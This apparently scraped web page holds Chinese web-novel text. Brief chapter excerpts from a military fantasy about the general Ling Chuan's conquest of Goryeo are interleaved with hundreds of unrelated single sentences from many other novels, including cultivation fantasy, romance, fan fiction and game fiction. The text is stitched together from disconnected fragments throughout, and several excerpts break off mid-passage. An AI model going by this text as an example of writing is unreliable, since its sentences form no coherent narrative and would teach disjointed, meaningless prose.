“怎么不多睡一会儿?”北冥尘在她醒来的同时也醒过来了,便问她。 十月日暮这边,两个藏剑的碰撞,拼伤害看技术,加上姜糖不辣给对方藏剑上的DOT,对方的藏剑没多久就死了,场上只剩下一个长歌。 “没有时间的限制,北联的那边只要求家主您亲自签约牧须关订下就可了。”姜涛摇了摇头,这个问题他已经提前问过了,所以一点都不要担心要是没能够赶上而误了前途。 三颗火球在叶仓的控制之下在原地慢慢的打转,她红褐色的眼珠瞪得溜圆,突然出现的一人,与突然消失的两人,这让她不禁产生了一丝丝不真实感,但是这毕竟是忍者世界……感觉到不妙的她顿时冷静和警惕了起来。 霍子龙开着一辆乔治巴顿SUV,表面上看去,就像一辆钢铁猛兽,颇有重装装甲车的威武霸气,十分拉风。他曾在米国、英国从军,开这辆具有军车血统的车子,倒也合适。 第一卷 第592章 修罗屠场 机括扣动的声响连成一片,不如弓弦震动那般响亮,却更加致命。 弩箭如疾风骤雨,带着恐怖的穿透力,轻易撕开血肉之躯,在这个距离上,匣子弩的连发速射近乎无解,如同死神的镰刀,成片收割着生命。 弩箭倾泻殆尽,弩手们迅速退后,后排手持苍生刀的士兵迅速补上,苍生出鞘,寒光映日。 凌川一马当先,身形如电突入敌阵,手中战刀横扫而出,雄浑凝练的真气自刀锋喷薄,化作一道肉眼可见的淡淡金色弧光,宛如实质的水银泻地。 “噗嗤!” 眼神看了看周围,再伸出自己的双手看了看之后,林修顿时睁大了眼睛。 这些人都张辽的崇拜着,一个个看着张辽眼中都流露着骄傲的神色。 这场无聊的party打乱了他年前的修炼计划,假如他知道会有这么一场晚会,还是潘家人提出来的,他一早就在潘家否定了,哪里还用绕个大圈子跑到这里来? “虞叔叔,在这件事上,您最好不要多管闲事。”凌一凡的目光很冷,今天他屡屡走在爆发的边缘,多年来的涵养在今天仿佛完全不够用了。 他这话说完,台上的周子林已经被常威一脚踹飞,不过前者似乎不服输,一个翻身站了起来,再次冲了上去。 今天杜青峰恰好和一干大哥在不远处的一个顶级会所内‘谈生意’,秦尘相召他二话不说就带着人朝着秦尘这里不幸而来了。 因为,下一秒,两名黑衣人离开队伍,来到了男孩的父母遗体旁。 “多谢前辈。”明辉仙子恭敬接过这星辰果,这星辰果十分珍贵,对于明辉仙子现在的境界十分有用。 擂台上,疯狂的攻守局面里,夏亦架招的手臂陡然稍缓了一下,打来的指虎擦过他手臂,结结实实印在肩膀上,夏亦反手握掌成拳,击在大汉右腰。 雪茄的火星在幽暗的光线亮了亮,吐出的烟雾中,一身条纹西服的身影从屏幕上收回视线,轻抿了一口红酒后,放到桌上。 孙胜利一边打着招呼一边伸手去摸那姑娘的玉手,脸上还露出痴汉般的笑容,和刚刚愁眉苦脸的样子一点都不像,京剧变脸都比不过他。 “操!什么叫活不下去了!你到底在哪?”肖橙这句话喊的撕心裂肺。 除了江志宇、徐鸿一行人之外,那千名赤峰门弟子均是讽刺的看向聂天。 大阳后知后觉发现被夏凉茶调笑,噎的一跺脚,扯着夏凉茶的胳膊就要摇。 经过长时间的煅烧,寒铁云石终于耐不住高温,“啪”的一声裂开了一条缝,从中射出一道金色的流光,转瞬间没入叶开的双眼之中。 从傲然挺立,到句句扎心,这黑塔巨汉也是心中黯然,默默摇头叹息。 突然的,夏凉茶的手一顿,她看到了一张照片,一张她手扶走廊栏杆眺望别处的照片,无疑,这是一张被人偷拍的照片。 尤其是10的数学老师,她辩驳夏凉茶作弊的声音最坚定也最响亮。 丁子健本来就是个非常要强的人,要是被赵传洋才能让自己活下去,他还不如就这样死了算了。 于是孙胜利的空间每天都会有免费的牙膏牙耍供他使用,很多人觉得精神患者会很麻烦,很脏很乱什么的。 朱飞似乎已经彻底的失控了,比真正的黑皇后都要更加的暴虐,他甚至连倒毙在地上的尸体都不放过,凡是跟肉有关的东西通通都会被他摧毁,就跟陈光大猜测的一样,两只尸虫在他脑子里作怪,他就算想变正常都很困难。 好了,到这了,事实,这几个写的更麻烦……真心的,不爱看科普类的,无视这章。 而陈铭,不由分说,抓起黄炜,道:“跟我冲出去!”然后两人便借着老布阿龙和严才五两人的开道,直接朝那缪力冲个过去,打算一鼓作气,直接冲开一道豁口,然后逃离现场。 睁开眼看到香肠正抠着鼻子准备来第二下,顿时一骨碌爬起来作势要打,香肠连连摆手示意他稍安勿躁,说楼下送来个大箱子,点名要你签收。 几乎与此同时,一座座宫殿火光四起,熊熊焚烧,仿佛要将所有建筑付之一炬,一名名妖修从宫殿一飞而出,纷纷停在蛟形灵舟周围虚空,将姜昆等人团团围住。 不过想想现在大唐国力强盛,何况自己时刻在注意着北边的动静,这次如果张守珪能避过这一难,也算自己做了个好事吧,毕竟边关需要这些有本事有能力的武将们镇守。 有的时候,谢林都忍不住怀疑自己母亲正是受不了父亲,所以在生下他后,便抛弃了他们父子。 “首先最主要的是要找到肖老师的尸体,然后要肖老师借助我的身体去杀那个混蛋。”我坚定地说道。 半路上,他不由得做起了美梦。在那梦中,带着面具的他和尤歌在水晶砌成的大厅里翩翩起舞。当曲终之时,尤歌摘下了面具,然后他们一吻定情。 然而,就在雀城与黑翼城的联军冲进厂房的时候,四面八方响起了决然的吼声。 吴豪身为帝国集团的副总,也颇为惊讶,也开始对李静儿刮目相看。 说完也不待两人回答,双手一甩,两人身子就呼地一声腾空朝金华观大门砸了去。 从那以后,老八的好日子来了。先是跟在阿灿身边负责打理茶铺,被他宠了一年多——听说茶铺中的钱想用多少拿多少。然后又是进入无线电视台,再后来又安排专门的团队服侍,将她养成现在的大明星。 第一卷 第593章 挡路者,斩尽即可! 那名先前在城头侥幸未死的副将,此刻满脸血污,声嘶力竭地挥舞战刀,试图阻拦溃兵:“顶住!都给老子顶住!敢后退者,斩立决!” 但让他觉得无语的是,虽然他在不断横移着,也计算不出出离了多少距离,但明显大略也有数十万里之遥。 石头人全身都是由石头组成,粗壮遒劲,看起来非常的有力,双臂鼓起,感觉能够一拳砸碎坚硬的巨石,还没有出手本身就带有强烈的威势。 其余十几人也都在三个月之中感受着周围这浓郁的灵气,都有了非常大的进步,都与夏鸣风一样修为大增。 现在,不论是年轻人还是中年人,甚至是一些老者,一种叫热血沸腾的感觉,从心中升腾起来。 这让第一次与黑仔接触的幽灵忍不住立起大拇指,尽管看不见他的表情,但是从幽灵久久不收的大拇指也可以看出他对黑仔这世人所剩无几的身手是佩服不已。 王剑始终还抱着一丝希望,听见孙昊的话,以为孙昊答应放过他了。于是刚要说话,突然表情一僵,一把飞剑以近乎光速一样,咻的一声就穿过了他的脑袋。 这道攻击能量看似蟓龙轻松祭出的,但云羽还是感应到了蟓龙身上气息略是一变,明显是这一道攻击能量已经是他极为依仗的一种秘术。 天下会武的第三天准时举行,今天格外的热闹,因为今天是四强的决赛,由于上届冠首四绝宗弟子此次天下会武全军覆没,朝圣盟只是象征性的参加,使得最后的决赛变成了出云宗与仙宗弟子的对决。 她按我事先说的准备了三条,这三条攀岩绳只有一条有安全裤带,是给受伤的哈儿用,其它两条各是为我和幽灵准备,因为就我们三人是头向下挂在崖壁之上。 也意味着云羽在此二天之内,还是没有能够有机会接触及那些星芒带过的咒纹有何隐秘,有无理解此处诡异核心秘密的机遇。 “父亲,我准备明日就去找擎珂长老,去圣灵学院了。”黎牧看着黎晨,很是不舍。 “你是专门研究阵法的?”黄陌双目瞪口呆,他深知一个阵法师的珍贵程度。 两人也不太在意,不过谈话后这些人的手机通讯记录已处于监控中。 程恩赐要是听见程可灵的话,一定会觉得果然是嫡亲的叔侄,两人在这一点上面是极其的一致。 元配嫡出她都敢亏待,一个妾生下来的孩子,章氏这样眼高于顶,更不会放在眼里了。 “为什么要把美人计浪费在我身上?”说这句话的时候,慕博实理应是自嘲的,可他的语气听不出半分自嘲的意味,只有陈述客观事实的平静。 “哼”,黑影摸着黑,却行动自如的坐在前面的圆凳上,冷哼一声,不搭理慕容倾冉。 他们听说过,王家夫人们一个个也是贤良的性子,王家男人们此前在外面也赞颂过妻子的这种美德。 是她,琅啸月简直不敢相信自己的眼睛,他甚至觉得自己恍如梦境,就在刚刚,他又想起了她,却没料到,下一秒,她就出现在自己面前。 所以,这次踏雪寻梅宴,最好跟前世一样,平平淡淡过去,就罢了。 第一卷 第594章 上前说话 两万高丽守军,近两千人死于最初的巨石轰击,超过一万三千人倒在了关城攻防的血战之中,仅有不足三千残兵,丢盔弃甲,顺着南向的狭长峡谷亡命奔逃。 凌川下令柳衡率部分雁翎骑进行象征性追击,驱散即可,不必深追。这些丧胆溃兵,已无关大局。 铁骨关内,一万六千余具尸体横陈街头巷尾,层层叠叠,几乎无处下脚。粘稠的鲜血汇聚成溪,流入低洼处,形成一片片暗红色的血泊。浓烈的血腥气混合着硝烟与焦糊味,弥漫在每一寸空气里,这座...... 现在洛寒的银行卡余额大概有超过一千万元,虽然感觉日常花销是足够了,但是想要建立一个正经的公司,还是有些捉襟见肘,不得不仔细规划开销。 一方面,参与肥皂制作的都是胡府家仆,卖身契在手,不愁他们不忠诚。 有人激动万分的看着这一幕,然而,就在他们觉得稳了的时候,突兀的,一根金色铁棒从天而降,就像是凭空出现一般,猛地砸了下来。 只要善良真诚,只要会为了那些逝去的生命哭泣,就可以获得其他人的怜爱和保护。不同于妖兽臣服于强者才可以获得的庇佑,那是强者对弱者的怜悯和保护。 一丝丝近乎超越天神的气机,从中散发。那是一种与天齐高,与地其厚,视天地为一体,视自身为天地的至高气机。 只感觉天地间有关造化,生命,物质能量转化的大道前所未有的清晰。 当初老爷子提醒过自己,实力不到的时候,千万别贸然前往上京。 与他当初在远古战碑中的感觉一模一样,可清晰感知一股恐怖力量正在天外散开,马上波及他。 一声大喝在巨蛋中响起,磅礴的魔气轰然爆发,金色巨蛋轰然破碎,黑发飘扬的心魔现出身来,迈步走下了莲台。 苏家人并不知道这些东西有什么用,但苏淳罡却若有所思的看着院子里的东西。 一道人影凭空在这房间内浮现,这一幕就当时陈肖然使用隐身术的时候有点相似。人影浮现出来,那人赫然是一名男子。 如果说现在打起来,我们真的不可能是那些东瀛人的对手,因为人数摆在那里。 豹妖相信,骨魔以元神之体尚不忘报仇,肯定是有把握的,而千象的突破也绝对是会给骨魔意外的大惊喜。如此一来,自己所谋之事却是又多了几分成功的可能。 “好!”一众同学倒也是捧场王,待他的话声落地,一个个立时狂鼓掌,叫好声一片。 众人闻言,这才从呆滞的状态中回过神来,开始学着叶风刚才的样子,开始为自己弄起树皮来。 说完话,我回头看李婷婷,李婷婷觉得我似乎有点变化,让她不知怎么应对,她就像哑巴了一样。 “不远,离这里也就几里地吧,你们看,老常那位置北边的那个河滩凸起,转过那个河滩就是北河湾了。”老板娘指着窗外说道。 那个戴着眼镜的老师当时就被打蒙了,良久,他还捂着自己发烫的脸,呆呆的抬起头看了看王明珠,又看了看我,不知道该说些什么。 但她还是过来,也就是说,她并不是自信陈肖然赢不过她。而是自信陈肖然不会对她出手。 没有钱、是不能长久的,我看现在安高磊也不会再支持我们了,商人要的是兑现。 在萧红叶心里,杨帆的,一半就是她的,商量之类的是不存在的。 吴凡说出那话,周边风云变幻,使得那炼器大鼎的黑色触手,在持续一会就要触及洛诗每一处肌肤,此刻,天空响雷让它急速缩回炼器大鼎之中。 白羽自己也需要好好想想,走到里屋将外屋留给人和孩子们,这些事情就留给他们吧。自己什么都好就是没办法解决这个桃花。什么时候惹了这么多自己都不知道,在下去可就是一只足球队了,希望不要太臭才好。 杨帆注意到这四人黑眼圈都很重,吃个饭还打哈欠,点点认可,自己也不习惯去饭店,吃饱就好了。 “因为,天帝才是最为精通血脉传承的人,他运用天道法则,安排芸芸众生的命运,命运的根本就是血脉气数。你只要搞清楚了你的血脉气数,你才有可能与之对抗的可能。”巫主说道。 “杨先生学钢琴几年了?”德意志克劳德先生满脸严肃,他不是针对谁,德国人天生就是严谨与刻板。找个话题都让人听了不舒服。 李飞看着身边几个和他相同目的的同门,发出阵阵怒吼,他已经落后了,若是这样下去,肯定没有他什么事儿了。 在这种不对等的情况下,余三斤自然不惧段亦邪,他的想法,就是不断挑衅对方,加剧对方真气的消耗,只要段亦邪真气耗尽,等着他的便只有死路一条。 仅仅只是三两个呼吸的功夫,佛光便就这样消失在了天空的尽头。 根据情报显示,伊露丽在失踪之前,有很长时间都在这个萌神教逗留。念此,诺兰随即起身,准备去萌神教看看。 七位领军人物早已经遁出了近千里的距离,遥遥观察着这一幕,四个出身非极道圣地的领军人物已经有些瑟瑟发抖了。 长孙长卿细细品了品那钱一的话儿,指着其中一人,朝那钱百长问道。 它原本雪白无垢的皮毛此时有大片染血,甚至有一部分呈现出焦黑之状,显然是在先前的拼斗中负了伤。 “进其锐,退其速,其势险,其节短,不动如山,动如雷震。叶凌尘在枪法上的造诣居然如此之高,他前几场居然还有着藏拙!”吴天宝解说道。 牛车拉着的东西很重,把整个车子压得咯吱作响,少年带着遮住眼睛的兜帽赶着牛车从两人面前走过。 那人可不是什么正人君子,见唐僧还没准备好,直接就冲杀过来。 林宝宝走入冷炎宫的内部,这时他才发现,林宝宝才发现,林宝宝在房间里有很多个座位。 看到这一幕时,四尾妖狐缓缓发出一阵低吼,竖瞳之中隐隐浮现出一抹不太寻常的忌惮之色。 第一卷 第595章 手染千军血、脚踏万里骨! 来人约莫四十余岁,身材中等,面容刚毅,但一道狰狞的刀疤自左脸颊斜劈而下,将上下嘴唇齐齐切开。尽管伤口早已愈合,但那凸起扭曲的暗红色疤痕,依旧触目惊心。 这一行人表现得比先前更加谦卑惶恐,几乎将身子躬成了直角,头颅深深埋下。 然而,凌川眼中没有丝毫波动,他心知肚明,因为,他心里很清楚,这些人不是知道错了,而是心里怕了。 他们此刻有多么卑躬屈膝,当初将屠刀挥向大周沿海村镇、劫掠商船、残杀边民时,便有多么凶残...... 站立之后,我背对着阴河忙又引了两张神火符,不再敢用肉眼去直视那些带着磷光的柳叶片了。 又是嗖嗖几声,斩断纸人的范无常再次以不可思议的速度出刀,刀光闪烁间,纸人化作漫天纸屑,随空飞舞。 看着眼前这幢高耸入云的大楼,叶天一不禁感叹考试力量的强大。他之前随便拉了路边的一个行人,向他询问这幢高楼的信息,却被路人翻了个白眼,反问他是不是瞎子,这里根本什么都没有。 最关键的是他提出这个要求之后,师父还答应了他,这怎么能够让他不动容呢?虽然师父平时对他特别严厉,可是在遇到一些事情上他会毫不犹豫的伸出援手,帮助着自己,对于师父的恩情,陆彦永世难忘。 又是一个不眠之夜,这座城市大部分地方的人们已经进入了梦乡,唯独有些人喜欢躲在别人看不到的阴暗角落里,做着些什么不可告人的事情。 顺着滑落的血清朝下看去,她的脖子,手上都没有皮,只是一块块鲜血得像刚剥来皮摆在肉摊上现卖的牛肉。 “你醒了是吧?醒了的话就穿好衣服出来吧,那锅汤是给你驱寒补气用的,不要怕。”我往房间敲了敲,对韩朵安慰道。 细细一想,我这才恍然大悟,这蜈蚣应该不是被眼前的公鸡吓怕了。害怕,只是出自他的本能,蜈蚣虽然可毒龙,可它天生的克敌是公鸡。公鸡,向来是蜈蚣的克制之物。 余清媚看着身上穿着大拖尾的白色抹胸婚纱时,眼前一亮,那天,她在家看杂志,随手一翻,就看到了这件婚纱,出自意大力著名的奢华品牌,据说,一款全球不超过十件,至于仿版,她保持沉默。 况且,像他这种来无影去无踪的大侠也不会为她停下笑傲江湖的脚步吧。 张琳芃看到李逸用处运动中的甩牛尾巴之后,对于李逸的看法就完全改变了,这个动作可不是一般人可以做出来的,李逸在他眼中已经和那些欧美一线前锋画上等号了。 “没错,我就是天龙人。”穆斯加鲁德圣望着走过来的鼬,居高临下的问道。 意思是,叶麟是他的孩子,所以爱着宠着,叶倾心和叶倾国不是他孩子,所以他浑不在意。 她将能想到的全都一一记录下来,又让听涛誊抄了一份寄给蔚池。 拿了个陶罐在手中认真打量,又将缠绕在一起的引线层层理开,姜衍深觉自己此刻的心情就像这陶罐一般,但凡有一丝半点火星,能将这引线点燃,保不准就是燎原之火,能将人心里的阴霾冰寒全部驱散,只余滚烫炙热。 这就是容霖的毒辣之处,比狠毒,有人能 比过穿越而来,看过各种狠辣事件的他? 袁敏没好气的白了一眼卓雄道:“神经病!”不过,她也觉得刚才好像是有人喊了自己的名字,但是她也记不清了,总之自己平安无事的走过来就好了。 点了属性,买了一个鞋子和补兵棒,一个反隐灯和魔瓶。刘禅这个英雄点属性的话,有着E技能平A起来还是比较痛的。 中路张辽走了之后,下路的李典就暂时顶了过来。周泰在野区出了跳之后就去上路支援了,加上刘表对战对方的于禁,梦孙玲珑完全没有任何压力。下路是程昱和孟获两人在血拼。 而与此同时,张澈也是骑着玄煞冥龙,朝着共济会总部大院里面飞速撤去。 吕布的强大他早就知道,可貂蝉的能力……却让他感觉到了恐怖。 而比武的前十名,则按照排名,参加接下来的三英分身战吕布分身剧情。 几乎所有人的脸上都露出了惊恐之色,纷纷谈论起来,猜测着自己乘坐的这空天飞机,到底能不能避过前方空域里的恐怖异兽。 它们三个部门与称作帅司的安抚使衙门合成四监司,构成了宋代省一级管理机构,互相制衡、互相合作、互相监督。 盈盈看到老爸老妈眉来眼去,交臂对饮,感到两人结成了统一战线,将自己排挤出了局。 …不知道走了多久,萧十三抬头看天,天上还是火红一片,就好似永远不会有黑夜一般。 最重要的一点就是,皮猴子杀死异兽,张澈也能够收获魂力,又不影响他晋升御兽师等阶,何乐而不为呢? 但是血鬼的尸体血腥味浓重,吃是不可能的,如果放入储物戒内,万一腐烂了,那就找不到地方说理去了。 因为明军的突然杀出可以打破眼下的僵局,让西军士兵们可以喘上一口气。 从回来的宇智波带土的反应来看,很明显那个野原琳已经不在了,或者说是复活出现在他面前了。 严嵩老狐狸一个,瞟了元诗教一眼,眼中闪过一道奇异光芒,却没有说话。 “该死的,如果我有两只眼睛就不用那么麻烦了。”宇智波带土无奈的施展神威躲闪开来。 那么,龙天来到橘子联盟,并不是提高实力来的,而是单纯的,旅行来了。 然而这两只赤龙盖天虎,要是知道店主刘枫的想法,非要一口吐血而亡,简直是不能让人相信,让人郁闷起来。 当下,一道又一道声音响了起来,四方嘈杂非常,怒喝声,哀嚎声,惨叫声,求饶声,一道道声音汇聚在了一处,却是难以阻拦老顽童等人。 徐有道看黑心死党汪一智都被抓了,吓得瘫倒在地,浑身筛糠,话都说不出来了。 第一卷 第596章 三尺战刀断七魄! 简短的四个字宛如来自地狱的丧钟,王旭如坠冰窟,仅存的一丝侥幸彻底粉碎。 他不敢上前,而是更加疯狂地以头抢地,涕泪横流,声音凄厉: 就在潇湖军的骑兵以为己方已经圆满的完成任务的时候,近百支魔法箭凭空出现,迎面而来,将刚刚突破防线的潇湖军骑兵悉数杀死。 李剑说起这个时候也是一脸严肃,还有就是气愤,为什么中国会有这么多的汉奸呢? 当然,刘静宇他们五人也不例外,他们非常有着默契的会合在一起。 “你怎么啦。”罗刹发现修斯的异样,但她没有感到周围有着状况,更没有危险,陷阱,就碰触着修斯,很是疑惑的问道。 “我们在新世界的实力可不大,暂时没有战力投送到新世界去。”战国没有直接回答,而是说起了海军在新世界而的实力来。 修斯心头想想,面‘露’几分诡异之笑,一双目光却是夜间散发出一种炯神的光芒,透过斗芒直视南宫家族那方,至于东方家族修斯倒是并没有怎的在意,毕竟自己与这东方家族是往日无怨近日无仇。 12师的部队已经气势汹汹的压上来,这个决定是宋康平下的,一来是为了解决粮饷,二来是那天赵松城返回兰州城,通报了第二师的窘迫。 身体本身也是有自己的生理机制的,就算主人不强加主动意志,身体机能在极端透支的情况下也会自动进入休息状态,这是身体的自我保护本能。 桃兔点了点头,双手撑在屋顶的栏杆上,继续看着周围的景色。而旁边的罗弘,则悄悄地将手搭上了桃兔的肩膀。 周围玩耍路过的孩子们看到两人正在做的事情好奇怪,渐渐地便围了上来。 吃完面后,徐芬贴完面膜后,就去睡觉了,想着说明天就有电视可以看了,不禁有些激动。 她走到陆焱瀛的面前,看着他,比想象中的还差,心里像是被割了一个口子,心疼的不得了。 顾景深听了有些惊讶,最后听到没事时,也替刘民生松了一口气。 秦桑若躲在公寓里整整一天,她把家里所有通讯工具都关了,手机、电脑、座机。 尤其是现在整个SZ市都是陈深说了算,这让吴良才迫切想要找到新的靠山。 “杨嫂子,我不是来找老杨,我们是来道歉的”,顾景深歉意的说。 她拿着手机一时间不知道该怎么回复,正犹豫着,秦旭的越洋电话就打了进来。 见到祝霜凝,为首的武者上前一步,昂起下巴,嘴角浮过一道轻蔑之意。 一行人跟着李晨绕着地宫墙壁走了半圈,终于到了地宫门口的对面,李晨抽出斩月剑斩向长明灯。 “哪个王八蛋撞的,我找一帮兄弟去修理修理他!”王毅挽着袖子,气愤地说。 这时我身边的刘半仙终于伦不动板砖了,噗通一声瘫倒在我身边,“师,师傅,我不行了,拍拍不动了“。 “你好,有什么可疑帮助你的?“我深吸了一口气,故作深沉的问道。 “驾!”最先从震撼中回过神徐青拍马来到狼崽身旁,一股浓郁刺鼻的血腥气竟然迎面扑来,胯下的蒙古马被血腥气一冲,竟然咴咴儿一声长嘶,不安的刨起了蹄子。 第一卷 第597章 大军会师 凌川率领亲兵营与死字营,在无数高丽臣民惊惧惶恐的目光注视下,堂而皇之地踏入韩城。 三皇子周灏早已提前将一份详细的盟约条款拟定完毕。 相较于此前与新罗、百济签订的条约,这份给高丽的盟约上,明确增添了至关重要的一条:铁骨岭及其沿线所有矿脉,自此永久归属大周所有。 代表高丽出面主持和谈的,是已故国王王运承最年幼的儿子,年仅二十出头的王子王钊,他面色苍白,眼神躲闪,身后跟着一众面色灰白、如丧考妣的高丽重臣。 盟约...... 这时雨水渐歇,时过正午,还未登台比试的弟子只剩最后四人,琼岛弟子两人,璞山弟子两人。就在秋儿还没心没肺的享受着午餐的红烧肉时,却被替下了林瑶在演武场上执法的云雀一嗓子吼到了场上。 “那你为什么还要前去谈交易呢?难道你就不怕他们会利用我们吗?”薇薇安忍不住问道。 一时间,整个皇城都开始疯狂的搜寻,只要见到阴暗的角落,马上就有人前去探索一番,除了被封锁的北区,其他三个区的人几乎都被巨大的赏金给刺激到了,皇城之中的荒芜一点也没有阻挡疯狂的众人。 “呜呜,魂淡,你终于回来了。”尹月俏脸埋在云轩怀里,终究还是忍不住哭出了声。 “莫非这两样东西有什么特别的?”能让副将如此上心的东西肯定不一般,龙特已经意识到此行可能会有大收获。 每一位都超脱了凡尘,他如今虽成功达到半步秩序者,可仅仅只有三百年时间,他根本没有任何把握做到。 杨萧知道他们听不懂,但还是用现代的说法给他们解释了一遍,当然了这种说辞其实就是为了……额,装逼。 云雀和司马纨不知是不幸还是有幸被三长老点将点中准备一同出海追寻血妖胡天瑜的踪影,云雀负责张罗人手,司马纨负责准备船只,也暂别了众人。 本来尖嘴猴腮的那位,也想骂一句来着,可看着秃头的惨状,愣是没敢再骂。 罗铮正找不到理由找唐洛麻烦,现在见他插手,不由得大喝一声。 总之,不管是哪一种猜测,水鬼对于普通人来说,都是极端危险的生物。 蒋忠厚是彻底被打害怕了,他怕狱卒真的过来抽他嘴巴,立刻就闭上了嘴,连哼哼都不敢了。 “你知道我父母在我初中时候过世的吧。”她突然说起了这事儿。 “您来这里就是客,我们理应热情招待!”郑琛珩淡淡道,伸手做了一个请的姿势,刘主席也不多说,笑着随他一起出去。 第二天,他们早早便已起身,一行人跟客栈老板道了一声后,便乘着鹏鸟向着那吸血神教的基地飞去。 “怎么了,你在担心什么?”白逐云问道,手指轻轻地拨弄着君海心颊边的发丝。 但即便只考虑往江南去这一种可能性,想要赌赢那歹人具体从哪条路走也很不容易。 估计是他们在崖山登陆之后临时裹挟了青皮、地痞这才显得人多势众。 牛是耕地的重要劳力,所以官府不允许杀牛吃肉,私自杀牛是犯法的,被抓住是要打板子的,不过牛要是意外死亡,或者老死,那么卖牛肉是没问题的。 “这个罗毅在索德罗斯手中撑过三分钟了?”一个外貌十分普通的中年男子,望着榜单心中充满着震撼,因为,他就是曾经占据着榜单第一的那位,可惜他在闯过95层后,就一直被卡在了96层索德罗斯那里。 攻势在劈向对方的一刹那,突然卸了力道,掌风贴着衣衫呼啸而过,拂起衣摆猎猎鼓动。 “白羽,我想你介绍一下,这个是我的结拜兄弟,奥尔。罗德曼。”白雪将奥尔拉到云朵面前为云朵介绍到。 陶谦路上还在念叨着马振林的事,刚进屋休息但看到马振林向梁善跪下,嘴巴张得像是能塞一个桔子似的惊道。 “客人,如果您要的话,这颗宝珠30金币您拿走。”店员也知道这宝珠和垃圾无疑,所以,也是给了一个十分低廉的价格。 吴凡转身,驾驭着幽灵节棺,冲出了被劈开的夕阳之处,彻底离开了这个属于句芒与火凤凰的青海世界。 金龙退回之后,显然再一次吃了大亏,大秦皇帝的怒火,可想而知了。 两人谁都没有回答彼此的问题,只是相视一笑,颇有点相视一笑泯恩仇的意味。 至于魏莹儿则松了口气,再不担忧自己要嫁一个破落户了,而且……她近来识得一位公子,正叫她满心欢喜。 筑基修士自然比炼气修士要敏锐得多,夏族长虽有感知,却除了毛骨悚然之外,很难生出其他更细致的感觉。可夏长老不同,他比起夏族长来,感知要更清晰些。 现在的一路军只有安图、敦化两县,还有就是新打下来的额穆。如果敌人在这次选择暂时后撤,那一路军马上就能跟上去,控制舒兰县东部。 “在这时候离开漠北,看来和谈已经结束了。然而只有孟斐然一人低调进京……应当是半途出了事。”杨绪尘垂眸望着茶盏上袅袅升起的热气,不疾不徐地自语着。 有些摇晃的从地上爬起来,徐凌逸猛的吐出了一口鲜血,虽然他手中的那根长棍状武器是一件黄级灵器,但他身上那件看起来威风凛凛的长袍明显只是一件阳级灵器师炼制的高级灵器。 待到这些宝药也都交换结束后,众大能仍旧瞧向叶殊——不知他可还会拿出换取之物来? 与此同时,神主霸王龙那庞大如山岳的身躯直接就是飞天而起,犹如一个移动的城堡,流星赶月的朝着严逸追击而去。 随着那黑色手掌的重重拍下,浮现在虚空之间的古老字体,带着那恐怖的意志,砸向了辛尼斯。 那个跪坐品茶的红衣青年,可不就是自己那个混世魔王亲外甥——景西么? 游戏如火如荼的进行起来,大家都很开心。不时有“倒霉蛋”不得不抛头露面献歌一曲,那五音不全的嗓门和跑调跑到太平洋的唱功让众人捧腹大笑,即使是司机大哥都是忍不住笑出声来。 第一卷 第598章 武夫禁地,白云城! 言及此处,他目光陡然转寒,缓缓从薛赫、昔士真、尹瑄三人脸上逐一扫过,警告之意不言而喻: “倘若让我发现,有人临阵怯战,或是在这生死攸关之时,还动什么不该有的心思……那就休怪凌某,翻脸无情,军法从事!” 薛赫、昔士真与尹瑄三人心头一凛,连忙起身,抱拳齐声道:“将军放心!我等必同心戮力,誓死效命,绝无二心!” “如此最好!”凌川面色稍霁,随即接连下令: “新罗、高丽军中所有精锐斥候,立即集中,由纪天禄统一调度...... 徐玖婉拒道:“不用了,你们慢慢吃。”说完,徐玖便钻进了自己的房间,并反锁了房门。 回到纽约之后,李牧打算修身养性,不再操心华盛顿那些烦心事儿,爱谁谁吧,反正共和党这几年不可能输,不管是谁上台,终究都是共和党人,总要讲几分香火情的。 夜幕降临在江面上,雾气未散,出岛的轻舟,在船桨的划水声中。慢慢朝江城码头而去。 沈骁唐也没想到,慕紫卿听了这话,竟然真的转身就朝着电梯的方向跑了过去。 他守在南宫城门外,等候去国公府看病的御官,听他们说,她就要不久于人世,他冲进宫中去找母妃,希望她去求父皇改变懿旨。 我幻想他穿军装的样子,应该更硬朗,他家里应该留存的有军装照片吧。 我借助阴影从角落里钻了出来,然后飞速地跑到了他们的大客车旁,现在所有人的注意力都放在了学校里边,恐怕我就是走到他们背后也不会有人发现我的。 “没问题,没问题,我就是想问问你现在是的实力有多强,白毛绿指红眼飞尸,我看你比红眼要厉害,但是要说你是飞尸,我总觉得还差那么一点儿……”我见方羽仙生气,赶紧问道。 “以萧总这般年纪,娶得娇妻,本是一件幸事,正奈娇妻红杏抛到了自己的老板手中。”魏仁武在笑,然而笑容中却带着最毒的刺。 自从苏联方面开始大规模援助中国军事工业和技术以来,工业界和军方使用成熟可靠的苏式装备的呼声也就越来越高。 数十道身影浮现在半空之中,领头的正是王超。不过就在此时,我的身后也是出现了十几道身影,正是旧梦几人。 “哈哈哈哈,哈哈哈哈。”龙无人再长笑了几声,终于气绝倒地。 到了此时,他也不说什么保证胜利的话了,更没有什么慷慨激昂。 蒋忠也是犹豫了一番,才是上了山头。结果就见到二人正肩靠着肩依偎而坐看着夕阳西下,好不惬意。说实话,那画面还挺美的,叫蒋忠不忍出声打扰。 她怔愣了好半响,心里感到凉凉的。是晚了吗?她好像已经把应昊的耐心都作得耗尽了。他都不愿意跟她多说话了。 我点点头,没等说话,肩膀上的一一不干了,飞上无双的头顶一顿乱踩,爪子之中发出了阵阵雷电,嘴中还不满的咿咿呀呀说着什么。众人看到这一幕都是有些发愣。我则是一脸无奈的看着一一。 吸血鬼傀虽然不是真正的吸血鬼,但厉害方面也绝对强于普通人无数,可如今,他咬人牙崩,抬手打人,手又被控,双手被对方捏住,给他的感觉就好像是被一双打铁钳给夹住,任凭他怎么使劲,双手都无法抽动一下。 到目前为止,也就只有丐帮总部那一战,才勉强跟生死挂钩,严格来说,莫云尚并没有真正意义上的见识到王辰的手段。 安子一击得手信心倍增,摸到上境开天的使用门槛,但体力消耗巨大喘息,眼巴巴瞅着幻魔缓缓降临稳踩大地。 但丈丑丑最不明白的是,适才众人搜遍整间屋子,却没发现了半条人影,此刻屋内除了他们这批天下门众之外,还会有谁? 如果省外事办的领导知道了田中健三心中的想法,不晓得会不会吐血三升? 我们前面说过,刘秀娥的那个已经死了的老公,对刘秀娥并不好,动辄打骂,几年的时间,刘秀娥对于观察男人的眼‘色’已经成了渗入她骨子里的一种本能。 可惜的是,孙加西并不在基层工作,许多事情他都不掌握,弄到了最后他的指挥权竟然与大内高手们脱节。 众巨兽同时发出一声兽吼,然后齐齐起身,分别向着不同的方向飞去。 